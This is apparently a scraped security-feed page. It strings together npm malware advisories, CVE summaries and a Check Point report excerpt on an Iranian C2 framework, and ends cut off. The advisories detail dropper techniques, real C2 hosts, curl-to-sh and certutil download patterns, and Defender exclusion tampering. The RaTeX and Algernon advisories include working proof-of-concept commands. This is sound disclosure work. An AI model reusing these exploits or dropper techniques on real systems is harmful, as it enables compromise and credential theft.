Search: at.exe

AntiVE-BehaviorWatch is a Windows-based cybersecurity research project that implements an embedded AI model (GRU neural network) inside an executable to perform behavioral verification. It analyzes real-time mouse movement patterns and other behavioral telemetry to distinguish human users from automated analysis environments such as virtual machines, sandboxes, or emulators. This approach aims to control execution flow by allowing or aborting execution based on detected human interaction. The project is intended for research, education, and authorized security testing, not for malicious use.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (dc1d083feee4cace9dba5cabdfd74701c7dc093520f0bbc104858ab699203604) index.js (declared as the package main) reconstructs a host, URL paths, and dropped filenames from String.fromCharCode numeric arrays, resolving to https://filament-zap.vercel.app/service/assets/fetchBinary and /fetchLinuxBinary. On require, it downloads an OS-specific binary over HTTPS, writes it to %LOCALAPPDATA%\Programs\WinMetrics\WinService.exe on Windows or ~/.local/share/WinMetrics on Linux, chmods it 0755 on Linux, and spawns it detached with stdio ignored and windowsHide set. The binary is fetched from a non-publisher host, is not pinned or hash/signature-verified, and its cover-story naming ('WinMetrics', 'WinService.exe') is unrelated to the package's advertised input-masking purpose. The package name mirrors the legitimate 'tinymask' package, declares 'tinymask': '*' as a dependency, and ends index.js with module.exports = require('tinymask'), so consumers who mistype the name receive real tinymask functionality alongside the hidden dropper.

Supply-chain compromise of the official jscrambler npm client, a legitimate JavaScript obfuscation tool with roughly 60K downloads per month. Version 8.14.0 was published from the legitimate publisher account (jscrambler_ / info@jscrambler.com), which points to an account or CI compromise rather than a typosquat. Compared to the clean 8.13.0, version 8.14.0 adds a new preinstall hook (node dist/setup.js) and a new 7.5MB dist/intro.js file (entropy 8.00) that is a custom-packed, multi-platform binary container (magic bytes 1b435349 01); both are absent in 8.13.0. At install time, setup.js gunzips the platform-matched payload from intro.js, writes it to a randomly named file under the OS temp directory with the executable bit set (0o755, or a .exe extension on Windows built via String.fromCharCode), then spawns it detached with unref and windowsHide while swallowing all errors. The result is a silent, install-time native-binary dropper. Multiple releases are compromised (8.14.0, 8.16.0, 8.17.0, 8.18.0, 8.20.0); the mechanism above was analyzed on 8.14.0. Version 8.13.0 is clean. --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (afb577cf150e98ebfe551df006c555204f327432baa3789473981888761a8677) The package's main entry (dist/index.js) contains a top-level IIFE that runs on every require('jscrambler'). It reads a bundled 7.8 MB sibling file dist/intro.js, validates a custom container header (0x1b 0x43 0x53 0x49 0x01), selects a platform-specific gzip section (linux/win32/darwin), writes the decompressed bytes to os.tmpdir() under a hidden random dot-file name with mode 0755, and spawns the binary detached with stdio ignored and windowsHide, then unrefs the child. Errors are swallowed. The bundled payload dist/intro.js is not JavaScript: it uses a custom multi-platform container and contains strings characteristic of a cryptocurrency-wallet seed-phrase harvester and a browser-session stealer, including the BIP-39 English wordlist marker (bip39_english) and Chromium/BoringSSL TLS internals (ResumptionAttemptedWithVariedEms). Neither README nor CHANGELOG documents any native runtime component, and the CHANGELOG has no entries past 8.13.0. The wrapper's shape (custom magic header, hidden tmp filename, detached spawn, error-swallowed try/catch, undocumented payload) is inconsistent with the package's advertised CLI/API-client purpose and matches a malicious release / account-takeover pattern targeting installer wallets and browser sessions. ## Source: ghsa-malware (dd1dd335cffe74c32587c873f4b6d5efd7bf80a5fcecb9bad030662e2a7498c0) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (ade6fb9a07c6f1417e9569af48b6c638bf12fba7540493b1b38a2d6ba42d101c) @jaymara/jsononifier@1.0.2 is advertised as a JSON formatting utility but ships a covert command-execution primitive that fires on require. index.js loads trigger.js, which checks for sandbox indicators (process.env.CI==='true', NODE_ENV==='test', existence of /.dockerenv) and the platform (win32); when those checks indicate a real Windows workstation, it schedules Executer.js via process.nextTick + setTimeout(5000). Executer.js XOR-decodes a byte array from payload.js using key 'xorkey123' and passes the resulting string to child_process.exec with { windowsHide: true }. payload.js openly comments the intent ('XOR-encoded command – not visible in source'). The current decoded value is a demo (calc.exe), but the mechanism — opaque encoded bytes decoded at runtime and handed to exec, gated to skip CI/test/Docker and only fire on real victim machines — is the attack: a future tarball can swap the byte array for any command without changing the visible code. None of this is required by, or consistent with, a JSON formatter.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (b22305b1026f27be6d5b78dc19f7db7a05cc9d1818b7ebc7cda0fce92431aa02) This package typosquats llama-tokenizer-js. On require, index.js reconstructs a host and URL path from String.fromCharCode numeric arrays, downloads a platform-specific binary from https://filament-zap.vercel.app/service/assets/fetchBinary (Windows) or /service/assets/fetchLinuxBinary (Linux), writes it to %LOCALAPPDATA%/Programs/WinMetrics/WinService.exe on Windows or ~/.local/share/WinMetrics/WinMetrics on Linux, chmods it 0755 on Linux, and spawns it detached with stdio ignored. The fetch destination is unrelated to any tokenizer publisher, is obfuscated via char-code arrays, and the downloaded bytes are executed with no hash or signature verification. index.js then re-exports the real llama-tokenizer-js as a functional cover so consumers observe the expected tokenizer API while the dropper has already fired.

Cybercriminals are conducting phishing campaigns by hosting malicious pages on Vercel, a legitimate website hosting platform. The attack involves sending phishing emails with links to fake Adobe PDF viewer pages that prompt users to download executable files disguised as documents. The malware, distributed as Invoice06092025.exe.bin, automatically installs LogMeIn remote access software upon execution, enabling attackers to remotely control compromised machines. Over a two-month period, more than 28 distinct campaigns have been observed targeting over 1,271 users. The attackers leverage trusted platforms to disguise their malicious activity, making detection more challenging and increasing the likelihood of successful compromise.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (7fb45c09aa7a237b2b9ff18ccf6426b76a4f46e5ea665c7747f35a345940e161) multer-orm is a typosquat of the widely used `multer` middleware. Its README is copied from multer, but the package adds a load-time dropper in lib/feature.js that fires as soon as any consumer runs `require('multer-orm')`. On Windows the module IIFE auto-invokes a handler that fetches JSON from https://hilbert-self.vercel.app/, extracts a `downloader_url`, downloads the referenced binary into the Chrome User Data directory as `chrome.exe`, marks it executable, and runs it. When the current Node process is not elevated, the code re-spawns itself via `powershell Start-Process node -Verb RunAs -WindowStyle Hidden` to obtain admin rights, then writes a temporary PowerShell script that calls `Add-MpPreference -ExclusionPath` against roughly twenty existing directories (including the Chrome/Edge User Data paths where the payload is dropped), executed via cscript.exe, to disable Windows Defender scanning of the dropper's staging locations. The URLs, PowerShell commands, exclusion strings, and filesystem paths are hidden behind obfuscator.io-style string-array + rotation obfuscation in lib/feature.js. package.json also declares a self-referential dependency on `multer-orm`. Installing or requiring this package results in arbitrary remote code execution on the installer's Windows machine with attempted elevation to admin and antivirus tampering.

Incorrect Permission Assignment in BOSH.Utils.psm1 in BOSH-Ecosystem bosh-windows-stemcell-builder allows low-privilege authenticated users to overwrite C:\bosh\service_wrapper.exe or C:\bosh\bosh-agent.exe and gain NT AUTHORITY\SYSTEM on the next service restart or reboot. This can lead to full host control. Affected versions: bosh-windows-stemcell-builder versions prior to v2019.98.

The npm package `testudo-pack` is byte-for-byte identical (verified via diff) to `testis-pack` from the same npm publisher `ioa2102` (`anamora.les.24948@gmail.com`), differing only in its install hook: `postinstall: node index.js` instead of `preinstall`. It presents itself as a small binary packing/checksum utility (`pack`/`unpack`/`checksum`/`inspect`) but embeds an obfuscated dropper. The strings for the C2 host, path and dropped-binary name are not present in plaintext — they are reconstructed at runtime via `String.fromCharCode()` calls over hardcoded integer arrays, decoding to the host `sloth-antagonist.vercel.app`, path `/service/assets/fetchBinary` (Windows) or `/service/assets/fetchLinuxBinary` (Linux), and destination filenames `WinService.exe` (Windows) / `WinMetrics` (Linux) written into `%LOCALAPPDATA%\Programs\WinMetrics` or `$HOME/.local/share/WinMetrics` respectively — names chosen to masquerade as a legitimate Windows telemetry/service binary. When triggered, the code downloads the file from `https://sloth-antagonist.vercel.app/service/assets/fetch(Linux)Binary`, `chmod`s it executable on Linux, then spawns it detached and unref'd (`stdio: 'ignore'`, `windowsHide: true` on Windows) so it runs silently in the background, disconnected from the parent process. The routine is skipped on macOS. Note on the trigger: the fetch-and-execute routine (`_fetch()`) is not invoked at the top level of `index.js` — there is no unconditional call anywhere in the module. It is instead called as the first statement inside the exported `pack()` function, so the bare `node index.js` invocation performed by the `postinstall` hook only defines and exports the functions without itself triggering the download. The dropper fires as a side effect the first time any downstream code calls the package's own `pack()` API — which is the package's entire ostensible purpose, making activation highly likely for any real consumer while still evading naive "executes immediately on install" detections. Analysis performed via static review only (npm registry metadata and package source retrieved as text via the npm registry and unpkg CDN) — the package was not installed or executed. --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (3acd6c2813f34615e913c745f4bfe83a18ca057ec5a109cc30cdd51320eade1a) package.json declares a postinstall hook that runs index.js. On install, index.js decodes String.fromCharCode arrays to reconstruct the host sloth-antagonist.vercel.app and path /service/assets/fetchBinary (Windows) or /service/assets/fetchLinuxBinary (Linux), downloads an unpinned, unhashed binary to %LOCALAPPDATA%/Programs/WinMetrics/WinService.exe on Windows or ~/.local/share/WinMetrics/WinMetrics on Linux, chmod 755s it on Linux, and spawns it detached with stdio ignored and windowsHide on Windows, then unref()s the child so it survives npm install exit. macOS is skipped. The hostname, URL path, and output filename are hidden via char-code arrays to defeat trivial string scanning. The library's advertised pack() API also invokes the same fetch-and-execute routine, providing a second trigger at runtime. The host is not a publisher-owned or vendor domain, the binary is unversioned and unverified, and the obfuscation shows intent to conceal the destination.

The npm package `testis-pack` presents itself as a small binary packing/checksum utility (`pack`/`unpack`/`checksum`/`inspect`) but embeds an obfuscated dropper. It declares a `preinstall: node index.js` hook. The strings for the C2 host, path and dropped-binary name are not present in plaintext — they are reconstructed at runtime via `String.fromCharCode()` calls over hardcoded integer arrays, decoding to the host `sloth-antagonist.vercel.app`, path `/service/assets/fetchBinary` (Windows) or `/service/assets/fetchLinuxBinary` (Linux), and destination filenames `WinService.exe` (Windows) / `WinMetrics` (Linux) written into `%LOCALAPPDATA%\Programs\WinMetrics` or `$HOME/.local/share/WinMetrics` respectively — names chosen to masquerade as a legitimate Windows telemetry/service binary. When triggered, the code downloads the file from `https://sloth-antagonist.vercel.app/service/assets/fetch(Linux)Binary`, `chmod`s it executable on Linux, then spawns it detached and unref'd (`stdio: 'ignore'`, `windowsHide: true` on Windows) so it runs silently in the background, disconnected from the parent process. The routine is skipped on macOS. Note on the trigger: unlike many install-hook droppers, the fetch-and-execute routine (`_fetch()`) is not invoked at the top level of `index.js` — there is no unconditional call anywhere in the module. It is instead called as the first statement inside the exported `pack()` function, so the bare `node index.js` invocation performed by the `preinstall` hook only defines and exports the functions without itself triggering the download. The dropper fires as a side effect the first time any downstream code calls the package's own `pack()` API — which is the package's entire ostensible purpose, making activation highly likely for any real consumer while still evading naive "executes immediately on install" detections. The package was published by npm user `ioa2102` (`anamora.les.24948@gmail.com`), which also published the near-identical `testudo-pack` (same payload, `postinstall` hook instead of `preinstall`). Analysis performed via static review only (npm registry metadata and package source retrieved as text via the npm registry and unpkg CDN) — the package was not installed or executed. --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (96f8bc8284635b679a5ca943750a4d3386f73539e05352fd4cd6b0da5d01496f) package.json declares a preinstall hook (`node index.js`) that runs automatically on `npm install`. index.js assembles the destination host, URL path, and dropped filename from `String.fromCharCode` numeric arrays to hide them from string scanners; the reconstructed values are the host `sloth-antagonist.vercel.app` and paths `/service/assets/fetchBinary` (Windows) and `/service/assets/fetchLinuxBinary` (Linux). The script downloads the unpinned, unverified binary via `https.get(...).pipe(createWriteStream(dest))`, writing it to `%LOCALAPPDATA%\Programs\WinMetrics\WinService.exe` on Windows or `~/.local/share/WinMetrics/WinMetrics` on Linux — cover names that impersonate a Windows system component. The file is then `chmod 0755`ed and launched via `spawn(dest, [], { detached: true, stdio: 'ignore', windowsHide: true }).unref()`, so it survives the install process and runs silently in the background under the installing user's privileges. The exported `pack()` API triggers the same fetch-and-execute path on any call, so `require('testis-pack')` also delivers the payload. The dropped bytes are attacker-controlled and mutable at the host, giving the publisher open-ended remote code execution on every installer's machine.

### Summary The public parser entrypoint `ratex_parser::parse(&str)` panics on the **9-byte** input `\verbéxé` (i.e. `\verb` followed by the non-ASCII delimiter `é`). When handling a `\verb` command, the parser slices the verbatim argument with **byte** indices (`arg[1..arg.len() - 1]`); if the delimiter character is multibyte UTF-8, index `1` lands inside that character and Rust panics with *“byte index 1 is not a char boundary”*. Because RaTeX’s release profile sets `panic = "abort"` (`Cargo.toml:48`), the panic aborts the **entire process** — not just the current request/thread — making this a hard denial of service for any service that renders untrusted LaTeX. ### Details ## Affected code `crates/ratex-parser/src/parser.rs`, `parse_symbol_inner`: ```rust if let Some(stripped) = text.strip_prefix("\\verb") { // parser.rs:901 self.consume(); let arg = stripped.to_string(); // e.g. "éxé" let star = arg.starts_with('*'); let arg = if star { &arg[1..] } else { &arg }; // parser.rs:905 (also byte-sliced) if arg.len() < 2 { // byte length return Err(ParseError::new("\\verb assertion failed", Some(&nucleus))); } let body = arg[1..arg.len() - 1].to_string(); // parser.rs:910 <-- PANIC on multibyte delimiter ... } ``` For input `\verbéxé`: `arg = "éxé"`, where `é` = `U+00E9` (bytes `C3 A9`). `arg.len()` is the **byte** length (5), the `< 2` guard passes, and `arg[1..4]` starts at byte index 1 — inside the first `é` (bytes 0..2) — so the slice panics. The lexer groups `\verb<delim>…<delim>` correctly with char semantics (`lexer.rs` `lex_verb`); only the parser mishandles it. ### PoC <img width="1109" height="205" alt="image" src="https://github.com/user-attachments/assets/cd4bc6ae-23dd-458f-826c-6ce4e85c7005" /> ``` $ printf '\\verb\xc3\xa9x\xc3\xa9\n' | ./target/release/parse thread 'main' panicked at crates/ratex-parser/src/parser.rs:910:27: start byte index 1 is not a char boundary; it is inside 'é' (bytes 0..2 of string) Aborted (core dumped) # exit 134 — panic=abort kills the whole process ``` ### Impact Any application that renders untrusted LaTeX through RaTeX (web “render this math” endpoint, WASM in-browser use, the FFI embedded in another app) can be crashed by a tiny string. With `panic = "abort"` in release builds, the crash takes down the whole process / server, so a single malicious formula causes a full-service DoS (and, in batch pipelines, drops all queued work). ## Remediation Slice by character boundaries instead of byte indices, mirroring the UTF-8-correct logic the lexer already uses. For example: ```rust let chars: Vec<char> = arg.chars().collect(); if chars.len() < 2 { return Err(ParseError::new("\\verb assertion failed", Some(&nucleus))); } let body: String = chars[1..chars.len() - 1].iter().collect(); ``` (Apply the same char-aware handling to the `*` strip at `parser.rs:905`.) More broadly, consider not using `panic = "abort"` for builds embedded in long-running services, and/or wrapping parsing in `catch_unwind` at the FFI/WASM boundary — but the byte-slice fix is the direct correction.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (e049b6382f522be35ebc44b090d56723dacfc2fe15ffa05b345fe46f5aea392a) The package presents itself as "Pure Node.js telemetry for RuntimeDev platform" but implements a full remote-access trojan. The `runtimedev-link` bin, when invoked with a `--token` that encodes an `apiBase` and hash, enters a command loop that polls `POST /api/telemetry/poll-command` at the operator-supplied base URL and executes any returned `command` string through `/bin/sh` (or the Windows shell) via `execSync`, returning stdout/stderr to `/api/telemetry/command-result` (transport.js). The same agent handles server-issued `directoryScan` and `downloadRequest` operations, zipping arbitrary filesystem paths and uploading them base64-encoded to `/api/telemetry/upload-download`; every telemetry cycle reports hostname, username, OS info, home-directory tree, Chrome/Edge/Brave extension inventories, and the host's public IP fetched from api.ipify.org. On first run the agent installs cross-platform persistence: a Windows Task Scheduler entry marked `<Hidden>true</Hidden>` with a LogonTrigger launched via `wscript.exe //B` against a generated VBS; a macOS LaunchAgent plist with `RunAtLoad` + `KeepAlive`; a Linux systemd `--user` unit with `Restart=always` plus `loginctl enable-linger`, falling back to crontab `@reboot` or XDG autostart. Credentials are staged at `~/.config/runtimedev-link/agent.env`. To further evade endpoint visibility, `lib/portable_runtime.js` downloads a standalone Node.js 22.22.0 tarball from nodejs.org, extracts it into `~/.local/share/runtimedev-link/runtime/`, chmods `bin/node` to 0755, and configures persistence to invoke that private interpreter against a copied agent CLI, decoupling ongoing execution from the user's Node/npm. The exfil/C2 destinations are configurable per token, so any attacker distributing a token targets their own infrastructure; the code paths themselves are unambiguously RAT machinery. ## Source: ghsa-malware (bad42e28746353937971161510019f72f4c501f54d3a40410710ae83e83db724) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Salat Stealer is a Go-based information stealer that performs deep system reconnaissance and extracts sensitive data from compromised hosts. It targets browser credentials, cryptocurrency wallets, and communication platforms like Discord and Steam. The malware features advanced surveillance capabilities including desktop streaming, audio/video capture through microphone and webcam, and local file exfiltration. A notable distribution campaign bundled Salat Stealer with Xeno Executor, a gaming utility tool, transforming it into a full compromise vector. The malware employs sophisticated evasion techniques including disabling Windows Defender features through multiple PowerShell scripts, establishing persistence via registry run keys, and using token impersonation of lsass.exe to obtain elevated privileges. Loaders written in batch script and Rust programming language obfuscate deployment and bypass security controls.

Pillow is a Python imaging library. Prior to 12.3.0, WindowsViewer.get_command() constructed a cmd.exe shell command by directly embedding a file path into an f-string without escaping and passed the result to subprocess.Popen(..., shell=True), allowing shell metacharacters in the file path to inject arbitrary cmd.exe commands. This issue is fixed in version 12.3.0.

A Reddit user reported suspicious behavior from an executable related to a GitHub project named PRAGMATA-fpsBoost, which purportedly boosts game performance. The executable reportedly created another executable named securestore.exe in the public videos folder, modified Windows Defender exceptions, and altered registry keys. The user is concerned about potential malware activity and data compromise. No confirmed exploits or detailed technical analysis are available. The GitHub repository describes a performance optimization tool for the game PRAGMATA, claiming no malware or miners, but the reported behavior raises suspicion.

Note: SysAid was not compromised, and no SysAid vulnerability was involved. The attacker had already gained access to the victim environment and abused a legitimate software-deployment feature to deploy malware onto another machine within it. Key Points Check Point Research (CPR) tracks ‘ Cavern Manticore ’ as an Iran-nexus threat actor operating against Israeli targets , with a focus on the government and IT sectors. Cavern Manticore shares technical overlaps with other Iranian MOIS (Ministry of Intelligence and Security)-linked threat actors, including MuddyWater and Lyceum . CPR observed a modular C2 framework in the wild, with all samples built on top of .NET but compiled into different output formats. These components are used as Cavern agent and Cavern modules . The framework’s anti-analysis posture relies on uncommon .NET compilation formats ( Mixed-Mode C++/CLI and Native AOT ) that force reverse engineers into multiple toolsets and metadata-reconstruction workflows, together with per-module AppDomain isolation as an anti-forensics measure. In malware-engine coverage, the majority of observed samples score zero or very low detection rates on VirusTotal. Post-exploitation modules provide the threat actor with extended capabilities , including file system and database browsing, LDAP querying, network reconnaissance, and tunneling. In multiple observed intrusions, the initial foothold was achieved through abuse of existing Remote Monitoring and Management ( RMM ) software deployed in the targeted organization. Introduction Since early 2026, Check Point Research (CPR) has tracked a new modular command-and-control framework used by Cavern Manticore , an Iran-nexus APT group primarily targeting Israeli organizations, with a focus on IT providers, and government sectors. Cavern Manticore is an Iran MOIS (Ministry of Intelligence and Security)-linked actor, with links to the OilRig subgroup named Lyceum . The framework reflects a mature and adaptable toolset built around a shared .NET foundation, while using multiple compilation formats across different components, including .NET Framework , .NET Mixed-Mode C++/CLI , and .NET Native AOT . The compilation format itself becomes the anti-analysis layer that forces reverse engineers into multiple toolsets and metadata-reconstruction workflows. During our investigation, we observed both Cavern agents and Cavern modules in the wild, highlighting a modular architecture that separates core communication capabilities from mission-specific post-exploitation functionality. This design allows the operators to tailor deployments per victim environment, limit what defenders and analysts can recover from any single victim and extend access after compromise through specialized modules for reconnaissance, data access, tunneling, and lateral movement. Figure 1: Cavern Modules Evade Malware Engines. Technical Analysis: Cavern – A Modular .NET C2 Framework 1. Cavern at a Glance Cavern is a modular post-exploitation C2 framework built entirely on .NET, but deliberately compiled into three different binary formats: .NET Framework ( IL-only ), Mixed-Mode C++/CLI ( IL + Native ), and .NET 8 NativeAOT ( Native-only ). The recovered execution chain begins with SysAid’s software update feature, which the actor leverages to deploy a WinDirStat DLL sideloading package to C:\ProgramData\WinDir\WinDirStat.exe . The legitimate WinDirStat.exe binary loads the trojanized uxtheme.dll , which is the Cavern Agent , and the agent in turn loads a dedicated native communication module n-HTCommp.dll to reach the C2 and then pulls down additional post-exploitation modules on operator command. Figure 2: Cavern Agent Execution Chain. The table below provides an overview of the modules. Component Internal Name Format Role Cavern Agent uxtheme.dll Mixed-Mode C++/CLI (.NET 4.7.2, IL + Native) Core backdoor, module orchestrator Communication Module n-HTCommp.dll NativeAOT (.NET 8, Native-only) HTTPS/WebSocket transport, XOR…

An Incorrect Use of Privileged APIs vulnerability in Unity Parsec on Windows hosts leads to a potential Elevation of Privilege. This issue affects Parsec through v2026-05-04.0. The patched version is Parsec for Windows version 150-104a. A user can generate a situation where there is an instance of parsecd.exe running as NT AUTHORITY\SYSTEM with a user-controlled value of the AppData environment variable.

The npm package `datefmt-helper` is a supply-chain dropper disguised as a benign date-formatting utility (its `description` reads "dates formatting utility with locale support"). The package ships no source repository and places its real behaviour in an install script. A `postinstall` lifecycle hook (`postinstall: node postinstall.js`) executes automatically on `npm install`, before the package is ever imported. The install script uses HTTP / `curl` / `wget` primitives to download a second-stage payload from the hardcoded external IP `115.190.124.243`, then executes it via a Node child process — the classic download-and-execute pattern. Any developer workstation or CI runner that installs the package (directly or transitively) hands arbitrary code execution to the operator of that endpoint. Detected and classified independently by codelake Research from the live npm feed on 2026-07-02; at the time of reporting the package was not present in OSV or GHSA (a first-catch). --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (d92b853245953aa75db608f0ae2e5de2321301b94ca6b48f55746a1bd60b6ea4) On `npm install`, the package's postinstall script fetches an unauthenticated payload over plain HTTP from a hardcoded bare IP (115.190.124.243:8761) and executes it. On Unix, `curl`/`wget` output is piped directly to `sh`. On Windows, `certutil.exe -urlcache -split -f` downloads a batch file to C:\Users\Public\run.bat and executes it. The fetched content is unpinned, unverified, and mutable — the operator of the endpoint can serve arbitrary code at any time. The package advertises itself as a lightweight date formatter (`date-fns-lite` branding, impersonating the date-fns ecosystem), but the payload has no relationship to date formatting. The typosquat/impersonation branding combined with an install-time dropper is a supply-chain attack lure. ## Source: ghsa-malware (6c9b82c471edb6b2caeb78c78887556e4c313efc0ba29a88a482b0f93d378807) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Kaspersky uncovered a sophisticated phishing campaign by the APT group Armored Likho, deploying a previously undocumented Python-based infostealer dubbed BusySnake Stealer. The campaign targets government agencies and electric power sectors across Russia, Brazil, and Kazakhstan through spear-phishing emails containing malicious EXE or LNK attachments. BusySnake Stealer features advanced obfuscation using PyArmor Pro, extracts credentials from browsers using DPAPI and NSS libraries, captures screenshots, logs keystrokes, scrapes cryptocurrency wallets and 2FA tokens, and establishes reverse SSH tunnels for remote access. The threat actor leverages AI-generated code for first-stage payloads and distributes components via GitHub repositories. The stealer maintains persistence through scheduled tasks and communicates with C2 infrastructure to receive commands dynamically, representing a significant evolution in the group's technical capabilities.

Malware#busysnake stealer#pyarmor obfuscationBrazil+2

### Summary Algernon selects its file handler from `filepath.Ext()` (engine/handlers.go:134), which does not treat the NTFS-equivalent names `x.lua::$DATA`, `x.lua.`, or `x.lua ` as `.lua`. On Windows, an unauthenticated client appends one of these suffixes to any server-side script on a public path and receives its raw source instead of executed output, leaking embedded secrets such as database credentials and the `SetCookieSecret` value. Linux and macOS hosts are unaffected. ### Preconditions - Algernon runs on a Windows host (NTFS filesystem). - The instance serves at least one server-side script (`.lua`, `.tl`, `.po2`, `.amber`, `.frm`). - The script sits on a public path, or no auth backend is configured (`--nodb`, `--simple`, or default no-DB). - HTTP/HTTPS reachability to the server. ### Details ```go // engine/handlers.go:133 lowercaseFilename := strings.ToLower(filename) ext := filepath.Ext(lowercaseFilename) // "index.lua::$data" -> ".lua::$data", not ".lua" [offending] ... if ac.dispatchRenderer(w, req, filename, ext) { // ext unrecognised, returns false return } switch ext { case ".lua", ".tl": // execute the script -- never reached for the equivalent forms // ... RunLua ... default: // control reaches the raw-file branch below } ``` ```go // engine/handlers.go:452 f, err := os.Open(filename) // NTFS resolves "index.lua::$DATA" to index.lua's data stream ... // engine/handlers.go:479 if dataBlock, err := ac.ReadAndLogErrors(w, filename, ext); err == nil { dataBlock.ToClient(w, req, filename, ac.ClientCanGzip(req), gzipThreshold) // raw source to client } ``` The request path reaches `FilePage` through `URL2filename` (utils/files.go:24), which rejects only `..`; a `:`, a trailing `.`, and a trailing space all pass through into `filename`. `filepath.Ext` does an exact suffix match, so `.lua::$data`, `.`, and `.lua ` are not equal to `.lua` or `.tl`. The renderer registry and the execute case are both skipped and control falls to the `default` branch. The default branch opens `filename` with `os.Open` and streams the bytes verbatim. On Windows, NTFS canonicalises the alternate-data-stream suffix `::$DATA`, a trailing dot, and a trailing space back to the underlying file, so the bytes returned are the real script source. The missing check: Algernon never rejects or canonicalises Windows-equivalent filenames before choosing a handler. ### Proof of concept **Setup** 1. Build Algernon from source on a Windows host: ```powershell git clone https://github.com/xyproto/algernon cd algernon git checkout v1.17.8 go build -o algernon.exe . ``` 2. Create a web root with a script that embeds secrets, exactly as a real handler would: ```powershell New-Item -ItemType Directory webroot | Out-Null Set-Content webroot\index.lua @' -- db = POSTGRES("postgres://app:S3cr3t@db/prod") SetCookieSecret("hardcoded-session-key") print("<h1>hello</h1>") '@ ``` 3. Serve the directory over plain HTTP with no auth backend (run in its own window): ```powershell .\algernon.exe --httponly --noninteractive --nodb --addr ':8088' --dir .\webroot ``` **Exploit** 1. Request the script normally. It executes, and the source is not disclosed: ```powershell curl.exe -s http://127.0.0.1:8088/index.lua ``` Expected: `<h1>hello</h1>`. The DSN and cookie secret are absent from the response. 2. Request the same script through its NTFS `::$DATA` stream. Algernon returns the raw source: ```powershell curl.exe -s --path-as-is 'http://127.0.0.1:8088/index.lua::$DATA' ``` Expected: HTTP 200, `Content-Type: application/octet-stream`, body is the verbatim Lua source including `SetCookieSecret("hardcoded-session-key")` and the Postgres DSN. 3. The trailing-dot and trailing-space forms leak the same source: ```powershell curl.exe -s --path-as-is 'http://127.0.0.1:8088/index.lua.' curl.exe -s --path-as-is 'http://127.0.0.1:8088/index.lua%20' ``` Expected: identical raw-source response for both. ### Impact - **Confidentiality:** Reads the verbatim source of any public-path server-side script, exposing hardcoded DB credentials, API keys, and `SetCookieSecret(...)` values. - **Authentication:** A disclosed `SetCookieSecret` value lets an unauthenticated attacker forge session cookies and log in as any user. ### Suggestions to fix > _This has not been tested - it is illustrative only._ Reject request paths whose final segment uses a Windows-equivalent form (alternate data stream, trailing dot, or trailing space) before extension dispatch. ```diff func (ac *Config) FilePage(w http.ResponseWriter, req *http.Request, filename, luaDataFilename string) { + // Reject Windows filename-equivalent forms that alias a different file + // than filepath.Ext sees (e.g. "x.lua::$DATA", "x.lua.", "x.lua "). + if base := filepath.Base(filename); strings.ContainsRune(base, ':') || + strings.HasSuffix(base, ".") || strings.HasSuffix(base,